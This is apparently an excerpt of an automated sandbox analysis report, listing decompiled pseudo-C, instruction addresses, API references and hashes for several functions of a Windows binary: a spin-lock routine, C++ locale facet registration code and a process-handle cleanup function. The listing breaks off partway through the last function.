				if( *_t42 != 1 || 0 != 0) {
					asm("xorps xmm0, xmm0");
					_v32 = 0;
					asm("movlpd [ebp-0x24], xmm0");
					_v28 = 0;
					while(1) {
						asm("lock cmpxchg [ebx], ecx");
						__eflags =  *_t42 - 1;
						if( *_t42 != 1) {
							goto L6;
						}
						L5:
						__eflags = 0;
						if(0 != 0) {
							goto L6;
						}
						L29:
						_t40 = _v12;
						 *((char*)(_t40 + 4)) = 1;
						return _t40;
						goto L30;
						L6:
						_t53 = _v28;
						__eflags = _t53;
						if(_t53 == 0) {
							_t38 =  *0x17a678; // 0x4
							__eflags = _t38;
							if(_t38 == 0) {
								GetSystemInfo( &_v76);
								_t38 = _v76.dwNumberOfProcessors;
							}
							__eflags = _t50 - _t38;
							asm("sbb esi, esi");
							_t53 = (_t53 & 0xffffffe0) + 0x20;
							__eflags = _t53;
							_v28 = _t53;
						}
						__eflags = _t53 - 8;
						if(_t53 < 8) {
							L20:
							_v28 = _t53 + 1;
							continue;
						} else {
							__eflags = _t53 - 0x20;
							if(__eflags >= 0) {
								if(__eflags != 0) {
									_t51 = _v32;
									__eflags = _t51;
									if(_t51 != 0) {
										_t30 = E000641A0(8);
										_t31 =  *_t30( &_v24);
										__eflags = _t31;
										if(_t31 != 0) {
											_t47 = _v20;
											_t32 = _v24;
										} else {
											_t32 = GetTickCount();
											_t47 = 0;
											_v24 = _t32;
											_v20 = 0;
										}
										_t33 = _t32 - _v40;
										asm("sbb ecx, [ebp-0x20]");
										__eflags = _t47;
										if(__eflags < 0) {
											goto L17;
										} else {
											if(__eflags > 0) {
												L27:
												_v32 = 0;
												goto L28;
											} else {
												__eflags = _t33 - _t51;
												if(_t33 < _t51) {
													goto L17;
												} else {
													goto L27;
												}
											}
										}
									} else {
										__eflags = _v28 & 0x00000001;
										if((_v28 & 0x00000001) == 0) {
											L28:
											Sleep(1);
											_t50 = 1;
											_v28 = _t53 + 1;
											while(1) {
												asm("lock cmpxchg [ebx], ecx");
												__eflags =  *_t42 - 1;
												if( *_t42 != 1) {
													goto L6;
												}
												goto L5;
											}
										} else {
											L17:
											_t34 = SwitchToThread();
											__eflags = _t34;
											if(_t34 == 0) {
												Sleep(_t34);
											}
											_t50 = 1;
											goto L20;
										}
									}
								} else {
									E00055A90( &_v40);
									_v28 = _v28 + 1;
									while(1) {
										asm("lock cmpxchg [ebx], ecx");
										__eflags =  *_t42 - 1;
										if( *_t42 != 1) {
											goto L6;
										}
										goto L5;
									}
								}
							} else {
								asm("pause");
								_v28 = _t53 + 1;
								while(1) {
									asm("lock cmpxchg [ebx], ecx");
									__eflags =  *_t42 - 1;
									if( *_t42 != 1) {
										goto L6;
									}
									goto L5;
								}
							}
						}
						goto L29;
					}
				} else {
					 *((char*)(__ecx + 4)) = 1;
					return __ecx;
				}
				L30:
			}

0x00072117
0x00072120
0x00072125
0x0007212a
0x0007212c
0x00072130
0x00072136
0x0007214b
0x0007214e
0x00072155
0x0007215a
0x00072161
0x00072165
0x00072169
0x0007216c
0x00000000
0x00000000
0x0007216e
0x0007216e
0x00072170
0x00000000
0x00000000
0x00072249
0x00072249
0x0007224f
0x00072256
0x00000000
0x00072176
0x00072176
0x00072179
0x0007217b
0x0007217d
0x00072182
0x00072184
0x0007218a
0x00072190
0x00072190
0x00072193
0x00072195
0x0007219a
0x0007219a
0x0007219d
0x0007219d
0x000721a0
0x000721a3
0x000721e9
0x000721ea
0x00000000
0x000721a5
0x000721a5
0x000721a8
0x000721b2
0x000721c5
0x000721c8
0x000721ca
0x000721f7
0x00072200
0x00072202
0x00072204
0x00072216
0x00072219
0x00072206
0x00072206
0x0007220c
0x0007220e
0x00072211
0x00072211
0x0007221c
0x0007221f
0x00072222
0x00072224
0x00000000
0x00072226
0x00072226
0x0007222c
0x0007222c
0x00000000
0x00072228
0x00072228
0x0007222a
0x00000000
0x00000000
0x00000000
0x00000000
0x0007222a
0x00072226
0x000721cc
0x000721cf
0x000721d1
0x00072233
0x00072235
0x0007223c
0x00072241
0x00072161
0x00072165
0x00072169
0x0007216c
0x00000000
0x00000000
0x00000000
0x0007216c
0x000721d3
0x000721d3
0x000721d3
0x000721d9
0x000721db
0x000721de
0x000721de
0x000721e4
0x00000000
0x000721e4
0x000721d1
0x000721b4
0x000721b7
0x000721c0
0x00072161
0x00072165
0x00072169
0x0007216c
0x00000000
0x00000000
0x00000000
0x0007216c
0x00072161
0x000721aa
0x000721aa
0x000721ad
0x00072161
0x00072165
0x00072169
0x0007216c
0x00000000
0x00000000
0x00000000
0x0007216c
0x00072161
0x000721a8
0x00000000
0x000721a3
0x0007213c
0x0007213c
0x00072148
0x00072148
0x00000000

APIs

GetSystemInfo.KERNEL32(?,00000000,?,?), ref: 0007218A

Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B08
Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B17
Part of subcall function 00055A90: GetTickCount.KERNEL32(?,-00000001,?,A4C67FFF,00038D7E,?,?), ref: 00055B39

SwitchToThread.KERNEL32(00000000,?,?), ref: 000721D3
Sleep.KERNEL32(00000000), ref: 000721DE

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

GetTickCount.KERNEL32 ref: 00072206
Sleep.KERNEL32(00000001), ref: 00072235

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Sleep$SwitchThread$CountTickUnothrow_t@std@@@__ehfuncinfo$??2@$AddressHandleInfoModuleProcSystem
String ID:
API String ID: 3160958512-0
Opcode ID: d706e6fb133b1a6c1bd0ec9d283e71fdc9da528b3a08c4dedb6f65efae499172
Instruction ID: ef94de6861d68dfdaeb08274bdfe263c1b29a6b5d0e59e14c0b716c9e6e8792f
Opcode Fuzzy Hash: d706e6fb133b1a6c1bd0ec9d283e71fdc9da528b3a08c4dedb6f65efae499172
Instruction Fuzzy Hash: 1041D231E002298BDB15CFA8C8847AEBBF4BF68710F558029EE49A7200DA759D818BD5

Uniqueness

Uniqueness Score: 100.00%

Function 0006FAB0, Relevance: 7.6, APIs: 5, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0006FAB0(void* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr* _v28;
				char _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				intOrPtr _t44;
				void* _t45;
				intOrPtr* _t50;
				void* _t52;
				signed int _t57;
				signed int _t58;
				intOrPtr _t60;
				intOrPtr _t64;
				intOrPtr _t68;
				void* _t75;
				signed int _t77;
				intOrPtr* _t81;
				signed int _t83;
				void* _t89;

				_t75 = __edx;
				_push(0xffffffff);
				_push(0x12f120);
				_push( *[fs:0x0]);
				_t36 =  *0x16f170; // 0xd529e887
				_push(_t36 ^ _t83);
				 *[fs:0x0] =  &_v16;
				_v20 = 0;
				E000D71DA( &_v24, 0);
				_v8 = 0;
				_t77 =  *0x17a67c; // 0x4
				_t60 =  *0x17a3ec; // 0x0
				if(_t77 == 0) {
					E000D71DA( &_v20, _t77);
					_t89 =  *0x17a67c - _t77; // 0x4
					if(_t89 == 0) {
						_t57 =  *0x179200; // 0x27
						_t58 = _t57 + 1;
						 *0x179200 = _t58;
						 *0x17a67c = _t58;
					}
					E000D7232( &_v20);
					_t77 =  *0x17a67c; // 0x4
				}
				_t64 =  *((intOrPtr*)(_a4 + 4));
				if(_t77 >=  *((intOrPtr*)(_t64 + 0xc))) {
					_t81 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t64 + 0x14)) == 0) {
						L11:
						if(_t81 != 0) {
							L21:
							E000D7232( &_v24);
							 *[fs:0x0] = _v16;
							return _t81;
						}
						L12:
						if(_t60 == 0) {
							_push(0x18);
							_t81 = E000ECF08(_t81, __eflags);
							_v28 = _t81;
							_v8 = 1;
							_t68 =  *((intOrPtr*)(_a4 + 4));
							__eflags = _t68;
							if(_t68 != 0) {
								_t44 =  *((intOrPtr*)(_t68 + 0x18));
								__eflags = _t44;
								if(_t44 == 0) {
									_t44 = _t68 + 0x1c;
								}
							} else {
								_t44 = 0x15063e;
							}
							_t45 = E00051DD0(_t60,  &_v80, _t75, _t77, _t44);
							_t25 = _t81 + 4; // 0x4
							_v20 = 1;
							 *_t25 = 0;
							_push(1);
							_v8 = 3;
							 *_t81 = 0x13fbc4;
							E00072FE0(_t81, _t75, _t45);
							_v8 = 0;
							E00051E90( &_v80);
							_a4 = _t81;
							_v8 = 5;
							E000D974C(__eflags, _t81);
							_t50 =  *((intOrPtr*)( *_t81 + 4));
							__eflags = _t50 - 0x52060;
							if(_t50 != 0x52060) {
								 *_t50();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a3ec = _t81;
						} else {
							_t81 = _t60;
						}
						goto L21;
					}
					_t52 = E000D9778();
					if(_t77 >=  *((intOrPtr*)(_t52 + 0xc))) {
						goto L12;
					}
					_t81 =  *((intOrPtr*)( *((intOrPtr*)(_t52 + 8)) + _t77 * 4));
					goto L11;
				}
				_t81 =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 8)) + _t77 * 4));
				if(_t81 != 0) {
					goto L21;
				}
				goto L8;
			}

0x0006fab0
0x0006fab3
0x0006fab5
0x0006fac0
0x0006fac7
0x0006face
0x0006fad2
0x0006fadd
0x0006fae4
0x0006fae9
0x0006faf0
0x0006faf6
0x0006fafe
0x0006fb04
0x0006fb09
0x0006fb0f
0x0006fb11
0x0006fb16
0x0006fb17
0x0006fb1c
0x0006fb1c
0x0006fb24
0x0006fb29
0x0006fb29
0x0006fb32
0x0006fb38
0x0006fb4a
0x0006fb4a
0x0006fb4c
0x0006fb50
0x0006fb62
0x0006fb64
0x0006fc07
0x0006fc0a
0x0006fc14
0x0006fc22
0x0006fc22
0x0006fb6a
0x0006fb6c
0x0006fb75
0x0006fb7c
0x0006fb81
0x0006fb84
0x0006fb8b
0x0006fb8e
0x0006fb90
0x0006fb99
0x0006fb9c
0x0006fb9e
0x0006fba0
0x0006fba0
0x0006fb92
0x0006fb92
0x0006fb92
0x0006fba7
0x0006fbac
0x0006fbaf
0x0006fbb6
0x0006fbbc
0x0006fbbe
0x0006fbc8
0x0006fbce
0x0006fbd6
0x0006fbdd
0x0006fbe2
0x0006fbe6
0x0006fbea
0x0006fbf4
0x0006fbf7
0x0006fbfc
0x0006fc25
0x0006fbfe
0x0006fbfe
0x0006fbfe
0x0006fc01
0x0006fb6e
0x0006fb6e
0x0006fb6e
0x00000000
0x0006fb6c
0x0006fb52
0x0006fb5a
0x00000000
0x00000000
0x0006fb5f
0x00000000
0x0006fb5f
0x0006fb3d
0x0006fb42
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006FAE4
std::_Lockit::_Lockit.LIBCPMT ref: 0006FB04
std::_Lockit::~_Lockit.LIBCPMT ref: 0006FB24

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 00072FE0: __Getcvt.LIBCPMT ref: 0007301E
Part of subcall function 00072FE0: __Getcvt.LIBCPMT ref: 00073043
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 00073149
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 0007314E
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 00073153
Part of subcall function 00072FE0: numpunct.LIBCPMT ref: 0007315B
Part of subcall function 00072FE0: __CxxThrowException@8.LIBVCRUNTIME ref: 00073164

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006FBEA
std::_Lockit::~_Lockit.LIBCPMT ref: 0006FC0A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskException@8Lockit::_Lockit::~_Throw$GetcvtLocinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisternumpunct
String ID:
API String ID: 1345708747-0
Opcode ID: 66750c540b83e09e8ca8b82878679b9b9577fdf1247134d411ba359711396d25
Instruction ID: b2db9a9d0181839a29276b67439add1d03919771478567db13dc585e492bda06
Opcode Fuzzy Hash: 66750c540b83e09e8ca8b82878679b9b9577fdf1247134d411ba359711396d25
Instruction Fuzzy Hash: 2D41CF70900205DFCB10DF54E850BBEBBF5EF44714F148169E809AB382DB71AE45CB91

Uniqueness

Uniqueness Score: 4.31%

Function 0006F530, Relevance: 7.6, APIs: 5, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0006F530(void* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				void* _v20;
				char _v24;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				intOrPtr _t40;
				intOrPtr* _t45;
				void* _t47;
				signed int _t52;
				signed int _t53;
				intOrPtr _t55;
				intOrPtr _t59;
				intOrPtr _t63;
				void* _t69;
				signed int _t71;
				intOrPtr* _t75;
				signed int _t77;
				void* _t83;

				_t69 = __edx;
				_push(0xffffffff);
				_push(0x12f0bf);
				_push( *[fs:0x0]);
				_t32 =  *0x16f170; // 0xd529e887
				_push(_t32 ^ _t77);
				 *[fs:0x0] =  &_v16;
				E000D71DA( &_v24, 0);
				_v8 = 0;
				_t71 =  *0x17a614; // 0x5
				_t55 =  *0x17a404; // 0x4fdcf8
				if(_t71 == 0) {
					E000D71DA( &_v20, _t71);
					_t83 =  *0x17a614 - _t71; // 0x5
					if(_t83 == 0) {
						_t52 =  *0x179200; // 0x27
						_t53 = _t52 + 1;
						 *0x179200 = _t53;
						 *0x17a614 = _t53;
					}
					E000D7232( &_v20);
					_t71 =  *0x17a614; // 0x5
				}
				_t7 = _a4 + 4; // 0x8b0c428d
				_t59 =  *_t7;
				if(_t71 >=  *((intOrPtr*)(_t59 + 0xc))) {
					_t75 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t59 + 0x14)) == 0) {
						L11:
						if(_t75 != 0) {
							L21:
							E000D7232( &_v24);
							 *[fs:0x0] = _v16;
							return _t75;
						}
						L12:
						if(_t55 == 0) {
							_push(8);
							_t75 = E000ECF08(_t75, __eflags);
							_v20 = _t75;
							_v8 = 1;
							_t20 = _a4 + 4; // 0x8b0c428d
							_t63 =  *_t20;
							__eflags = _t63;
							if(_t63 != 0) {
								_t40 =  *((intOrPtr*)(_t63 + 0x18));
								__eflags = _t40;
								if(_t40 == 0) {
									_t22 = _t63 + 0x1c; // 0x8b0c42a9
									_t40 = _t22;
								}
							} else {
								_t40 = 0x15063e;
							}
							E00051DD0(_t55,  &_v76, _t69, _t71, _t40);
							_t24 = _t75 + 4; // 0x4
							 *_t75 = 0x13ad24;
							 *_t24 = 0;
							E00051E90( &_v76);
							_a4 = _t75;
							_v8 = 2;
							E000D974C(__eflags, _t75);
							_t45 =  *((intOrPtr*)( *_t75 + 4));
							__eflags = _t45 - 0x52060;
							if(_t45 != 0x52060) {
								 *_t45();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a404 = _t75;
						} else {
							_t75 = _t55;
						}
						goto L21;
					}
					_t47 = E000D9778();
					if(_t71 >=  *((intOrPtr*)(_t47 + 0xc))) {
						goto L12;
					}
					_t75 =  *((intOrPtr*)( *((intOrPtr*)(_t47 + 8)) + _t71 * 4));
					goto L11;
				}
				_t75 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 8)) + _t71 * 4));
				if(_t75 != 0) {
					goto L21;
				}
				goto L8;
			}

0x0006f530
0x0006f533
0x0006f535
0x0006f540
0x0006f547
0x0006f54e
0x0006f552
0x0006f55d
0x0006f562
0x0006f569
0x0006f56f
0x0006f577
0x0006f57d
0x0006f582
0x0006f588
0x0006f58a
0x0006f58f
0x0006f590
0x0006f595
0x0006f595
0x0006f59d
0x0006f5a2
0x0006f5a2
0x0006f5ab
0x0006f5ab
0x0006f5b1
0x0006f5c3
0x0006f5c3
0x0006f5c5
0x0006f5c9
0x0006f5db
0x0006f5dd
0x0006f65a
0x0006f65d
0x0006f667
0x0006f675
0x0006f675
0x0006f5df
0x0006f5e1
0x0006f5e7
0x0006f5ee
0x0006f5f3
0x0006f5f6
0x0006f5fd
0x0006f5fd
0x0006f600
0x0006f602
0x0006f60b
0x0006f60e
0x0006f610
0x0006f612
0x0006f612
0x0006f612
0x0006f604
0x0006f604
0x0006f604
0x0006f619
0x0006f61e
0x0006f621
0x0006f62a
0x0006f630
0x0006f635
0x0006f639
0x0006f63d
0x0006f647
0x0006f64a
0x0006f64f
0x0006f678
0x0006f651
0x0006f651
0x0006f651
0x0006f654
0x0006f5e3
0x0006f5e3
0x0006f5e3
0x00000000
0x0006f5e1
0x0006f5cb
0x0006f5d3
0x00000000
0x00000000
0x0006f5d8
0x00000000
0x0006f5d8
0x0006f5b6
0x0006f5bb
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006F55D
std::_Lockit::_Lockit.LIBCPMT ref: 0006F57D
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F59D

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006F63D
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F65D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_Locinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2621710291-0
Opcode ID: 2b8c393e943bf58749bd8e2f0494fbbab31f33673a0ca8ea9f4b6d2e0d956a70
Instruction ID: 1680862d2c78cded3083c2081ff5043dcc264718da8b59b26146e4e5b87b2466
Opcode Fuzzy Hash: 2b8c393e943bf58749bd8e2f0494fbbab31f33673a0ca8ea9f4b6d2e0d956a70
Instruction Fuzzy Hash: D041C0719042069FCB21DF58E940BBEB7F6EF50714F144069E80AAB352EB71AD45CBA1

Uniqueness

Uniqueness Score: 4.31%

Function 0006F680, Relevance: 7.6, APIs: 5, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0006F680(void* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				void* _v20;
				char _v24;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				intOrPtr _t40;
				intOrPtr* _t45;
				void* _t47;
				signed int _t52;
				signed int _t53;
				intOrPtr _t55;
				intOrPtr _t59;
				intOrPtr _t63;
				void* _t69;
				signed int _t71;
				intOrPtr* _t75;
				signed int _t77;
				void* _t83;

				_t69 = __edx;
				_push(0xffffffff);
				_push(0x12f0bf);
				_push( *[fs:0x0]);
				_t32 =  *0x16f170; // 0xd529e887
				_push(_t32 ^ _t77);
				 *[fs:0x0] =  &_v16;
				E000D71DA( &_v24, 0);
				_v8 = 0;
				_t71 =  *0x17a5e8; // 0x3
				_t55 =  *0x17a3f0; // 0x0
				if(_t71 == 0) {
					E000D71DA( &_v20, _t71);
					_t83 =  *0x17a5e8 - _t71; // 0x3
					if(_t83 == 0) {
						_t52 =  *0x179200; // 0x27
						_t53 = _t52 + 1;
						 *0x179200 = _t53;
						 *0x17a5e8 = _t53;
					}
					E000D7232( &_v20);
					_t71 =  *0x17a5e8; // 0x3
				}
				_t7 = _a4 + 4; // 0xe4558904
				_t59 =  *_t7;
				if(_t71 >=  *((intOrPtr*)(_t59 + 0xc))) {
					_t75 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t59 + 0x14)) == 0) {
						L11:
						if(_t75 != 0) {
							L21:
							E000D7232( &_v24);
							 *[fs:0x0] = _v16;
							return _t75;
						}
						L12:
						if(_t55 == 0) {
							_push(8);
							_t75 = E000ECF08(_t75, __eflags);
							_v20 = _t75;
							_v8 = 1;
							_t20 = _a4 + 4; // 0xe4558904
							_t63 =  *_t20;
							__eflags = _t63;
							if(_t63 != 0) {
								_t40 =  *((intOrPtr*)(_t63 + 0x18));
								__eflags = _t40;
								if(_t40 == 0) {
									_t22 = _t63 + 0x1c; // 0xe4558920
									_t40 = _t22;
								}
							} else {
								_t40 = 0x15063e;
							}
							E00051DD0(_t55,  &_v76, _t69, _t71, _t40);
							_t24 = _t75 + 4; // 0x4
							 *_t75 = 0x13fb94;
							 *_t24 = 0;
							E00051E90( &_v76);
							_a4 = _t75;
							_v8 = 2;
							E000D974C(__eflags, _t75);
							_t45 =  *((intOrPtr*)( *_t75 + 4));
							__eflags = _t45 - 0x52060;
							if(_t45 != 0x52060) {
								 *_t45();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a3f0 = _t75;
						} else {
							_t75 = _t55;
						}
						goto L21;
					}
					_t47 = E000D9778();
					if(_t71 >=  *((intOrPtr*)(_t47 + 0xc))) {
						goto L12;
					}
					_t75 =  *((intOrPtr*)( *((intOrPtr*)(_t47 + 8)) + _t71 * 4));
					goto L11;
				}
				_t75 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 8)) + _t71 * 4));
				if(_t75 != 0) {
					goto L21;
				}
				goto L8;
			}

0x0006f680
0x0006f683
0x0006f685
0x0006f690
0x0006f697
0x0006f69e
0x0006f6a2
0x0006f6ad
0x0006f6b2
0x0006f6b9
0x0006f6bf
0x0006f6c7
0x0006f6cd
0x0006f6d2
0x0006f6d8
0x0006f6da
0x0006f6df
0x0006f6e0
0x0006f6e5
0x0006f6e5
0x0006f6ed
0x0006f6f2
0x0006f6f2
0x0006f6fb
0x0006f6fb
0x0006f701
0x0006f713
0x0006f713
0x0006f715
0x0006f719
0x0006f72b
0x0006f72d
0x0006f7aa
0x0006f7ad
0x0006f7b7
0x0006f7c5
0x0006f7c5
0x0006f72f
0x0006f731
0x0006f737
0x0006f73e
0x0006f743
0x0006f746
0x0006f74d
0x0006f74d
0x0006f750
0x0006f752
0x0006f75b
0x0006f75e
0x0006f760
0x0006f762
0x0006f762
0x0006f762
0x0006f754
0x0006f754
0x0006f754
0x0006f769
0x0006f76e
0x0006f771
0x0006f77a
0x0006f780
0x0006f785
0x0006f789
0x0006f78d
0x0006f797
0x0006f79a
0x0006f79f
0x0006f7c8
0x0006f7a1
0x0006f7a1
0x0006f7a1
0x0006f7a4
0x0006f733
0x0006f733
0x0006f733
0x00000000
0x0006f731
0x0006f71b
0x0006f723
0x00000000
0x00000000
0x0006f728
0x00000000
0x0006f728
0x0006f706
0x0006f70b
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006F6AD
std::_Lockit::_Lockit.LIBCPMT ref: 0006F6CD
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F6ED

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006F78D
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F7AD

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_Locinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2621710291-0
Opcode ID: 4bdf1357e2c78d32e076268511a6a274d057c98d47d4bdccd9ad0c3ecca12680
Instruction ID: d4f038a39cef2996f7f02b26b874e550df067f7f37df72eed1a46a08043fdbf9
Opcode Fuzzy Hash: 4bdf1357e2c78d32e076268511a6a274d057c98d47d4bdccd9ad0c3ecca12680
Instruction Fuzzy Hash: 5741AE31908206DFCB21DF58E880ABEB7F6FF44710F144069E8099B352EB30AD86CB91

Uniqueness

Uniqueness Score: 4.31%

Function 000564C0, Relevance: 7.6, APIs: 5, Instructions: 97
UNIQUE

Download Yara Rule

C-Code - Quality: 34%

			E000564C0(void** __ecx) {
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void _t12;
				void _t16;
				void* _t24;
				void* _t28;
				signed int _t31;
				void* _t38;
				intOrPtr* _t39;
				void** _t40;
				void* _t41;

				_t34 = __ecx;
				_t40 = __ecx;
				if(E000D7269(0x17a40c, E000735B0, 0x17a3a0) == 0) {
					L21:
					_t12 = E0010F5C4(_t31, _t34, _t38, _t40);
					L22:
					 *_t12();
					L17:
					asm("lock xadd [esi+0x8], ebx");
					if(_t31 == 1) {
						_t16 =  *_t41;
						_t39 =  *((intOrPtr*)(_t16 + 4));
						if(_t16 != 0x151a50) {
							 *_t39();
						} else {
							 *((intOrPtr*)(_t16 + 8))(1);
						}
					}
					L20:
					CloseHandle( *_t40);
					return CloseHandle(_t40[1]);
				}
				if(__ecx[6] == 0 || __ecx[6] != 0 ||  *(__ecx[4]) != 0x103) {
					L14:
					_t41 = _t40[5];
					if(_t41 == 0) {
						goto L20;
					}
					_t31 = _t31 | 0xffffffff;
					asm("lock xadd [esi+0x4], eax");
					if(_t31 != 0) {
						goto L20;
					}
					_t12 =  *_t41;
					if(_t12 != 0x151a50) {
						goto L22;
					}
					goto L17;
				} else {
					_push( &_v12);
					if(E00056700(_t31, __ecx) == 0) {
						goto L14;
					}
					_t24 =  *__ecx;
					if(_t24 == 0 || _t24 == 0xffffffff) {
						L13:
						_t40[6] = 1;
						goto L14;
					} else {
						_t34 = __ecx;
						_push( &_v12);
						if(E00056700(_t31, __ecx) == 0) {
							goto L13;
						}
						_t41 = TerminateProcess( *__ecx, 1);
						_t28 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
						if(_t41 != 0) {
							if(_t28 == 0) {
								goto L21;
							}
							CloseHandle( *_t40);
							 *_t40 = 0xffffffff;
							goto L13;
						}
						if(_t28 == 0) {
							goto L21;
						} else {
							GetLastError();
							goto L13;
						}
					}
				}
			}

0x000564c0
0x000564d8
0x000564e4
0x000565c5
0x000565c5
0x000565ca
0x000565cc
0x00056594
0x00056594
0x0005659a
0x0005659c
0x000565a0
0x000565a8
0x000565d0
0x000565aa
0x000565ac
0x000565ac
0x000565a8
0x000565af
0x000565b7
0x000565c4
0x000565c4
0x000564ee
0x00056578
0x00056578
0x0005657d
0x00000000
0x00000000
0x0005657f
0x00056584
0x00056589
0x00000000
0x00000000
